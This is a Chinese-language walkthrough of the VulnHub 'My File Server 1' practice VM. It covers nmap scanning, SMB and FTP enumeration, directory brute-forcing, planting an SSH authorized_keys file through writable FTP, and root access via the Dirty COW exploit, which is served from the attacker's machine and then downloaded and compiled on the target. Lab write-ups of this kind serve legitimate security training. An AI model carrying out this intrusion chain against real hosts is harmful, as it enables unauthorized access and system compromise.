在vulnhub官网上下载实验需要的靶机文件:
https://download.vulnhub.com/myfileserver/My_file_server_1.ova
下载完成后用虚拟机vm打开
使用nmap命令比较环境打开前后多出来的ip地址
注:这里的ip地址段是使用ifconfig命令查看的ip地址
如果发现开关靶机环境都没有多出来的ip地址的话,可以看看靶机的网卡是不是有问题,我把网卡的仅主机模式改为nat模式就能扫到靶机ip了。
sudo nmap -sT --min-rate 10000 -p- 192.168.108.142 -oA nmapscan/ports
--min-rate:最低速度,在现实渗透中,过高的速度会引起注意,所以要设置
-sT:明确指定TCP协议进行扫描,通过发送完整的TCP请求进行探测,速度慢,但更准确 -sS:扫描技术的默认值,利用TCP中SYN标志位探测端口,只建立TCP连接的第一步,速度快
-oA:全格式输出
grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ','
在一行中,以逗号间隔
sudo nmap -sU --top-ports 20 192.168.108.142 -oA nmapscan/udp
-sU:指定以UDP协议进行扫描
--top-ports:以常用的20个UDP端口进行扫描
-oA:全格式输出
sudo nmap -sT -sV -sC -O -p21,22,80,111,139,445,1337,2049,2121,20048,39845,44354 192.168.108.142 -oA nmapscan/detail
-sT:指定以TCP协议进行扫描
-sV:探测各服务的版本
-sC:用默认脚本扫描
-O:探测操作系统版本
-oA:全格式输出
sudo nmap --script=vuln -p21,22,80,111,139,445,1337,2049,2121,20048,39845,44354 192.168.108.142 -oA nmapscan/vuln
111、2049.22048:nfs
445:smbmap
优先级排序:21,111,2049,22048,445,80,22
ftp匿名登陆:用户名:anonymous 密码为空
在ftp中最好换为二进制模式:binary
ls:查看文件
drwxrwxrwx 3 0 0 16 Feb 19 2020 pub
文件种类-文件权限-文件数量-属主-属组-修改时间-文件名
第一位代表文件类型,有两个数值:“d”和“-”,“d”代表目录,“-”代表非目录。
权限不足,退出
关于smbmap的相关信息:首页 ·ShawnDEvans/smbmap Wiki (github.com)
查看通信中的信息
sudo smbmap -H 192.168.108.142
查看详细信息
sudo smbclient //192.168.108.142/smbdata
将感觉重要的信息下载下来
cat查看文件中的内容,将得到的认为重要的内容保存下来
尝试登陆,登陆失败
查看网页: http://192.168.108.142
右键→查看源码:未发现特殊内容
目录爆破:
sudo gobuster dir -u http://192.168.108.142 -x txt,zip,sql,tar --wordlist=/usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
发现内容:
这里有密码,那就试试看是不是之前ftp登陆的smbuser的密码(因为目前只有这么一个需要登陆的用户)。
登陆成功,查看文件和目录
-a
:显示所有文件,包括以.
开头的隐藏文件。-l
:以长格式显示文件和目录的详细信息,包括权限、所有者、大小等。-h
:与-l
选项一起使用,以人类可读的方式显示文件大小。-R
:递归地列出目录及其子目录中的所有文件和目录。-t
:按照修改时间排序,最新修改的文件或目录显示在前面。-F
:在文件名后面添加标识符,以区分文件类型,例如添加/
表示目录,添加*
表示可执行文件。-A
:不显示当前目录和父目录
查看详细信息得知:文件有读写权限,那可用考虑上传公钥。因为ssh只支持密钥,而现在我们有ftp的读写权限。
生成密钥:
sudo ssh-keygen
上传:(注意:这里保存的密钥地址和ftp的打开地址要对应,不然会报错找不到文件)
这里要和sshd_config文件中的路径和名字一样。
上传至.ssh目录中(没有就新建),然后将文件改名为authorized_keys
put 密钥文件与ftp的相对路径
连接:连接成功
sudo ssh -i miyao1 [email protected]
获得系统的初始权限
查看uname主机信息,根据版本猜测涉及的应该是Linux脏牛提权(这个不太好想到,如果直接内核提权那范围太大)
使用searchsploit:
经过试验,前两个不行,那就尝试40616
searchsploit kernel -m 40616
sudo php -S 0:80
然后在smbuser中下载文件:
编译并修复40616.c文件
gcc 40616.c -o 40616
gcc 40616.c -o 40616 -pthread
忽略警告,尝试使用
./40616
提权成功